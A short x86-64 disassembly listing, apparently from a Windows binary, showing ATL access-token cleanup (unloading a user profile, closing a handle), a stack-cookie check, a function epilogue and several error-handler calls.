lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xd30], rax
mov rdx, qword [rsp + 0xd40]
mov rcx, qword [rsp + 0xd38]
test rdx, rdx
je 0x14020b6bc
test rcx, rcx
je 0x14020b6b4
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rsp + 0xd38]
mov qword [rsp + 0xd40], rsi
test rcx, rcx
je 0x14020b6cf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xd38], rsi
mov edx, 8
mov rcx, qword [rsp + 0xd48]
call fcn.140234e40
nop
mov rcx, qword [rsp + 0xd60]
xor rcx, qword [rsp + 0xd58]
mov rax, qword [rsp + 0xd68]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xc930]
xor rcx, rsp
call fcn.140234e20
lea r11, [rsp + 0xc9c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
mov edx, dword [rbx + 0x20]
jne 0x1402056f0
mov rax, qword [rax]
jmp 0x1402056c0
mov ecx, 0x80004005
call fcn.1401bb2d0
nop
mov ecx, 0x80004005
call fcn.1401bb2d0
nop
mov ecx, 0x80004005
call fcn.1401bb2d0
nop
mov ecx, 0x80004005
call fcn.1401bb2d0
int3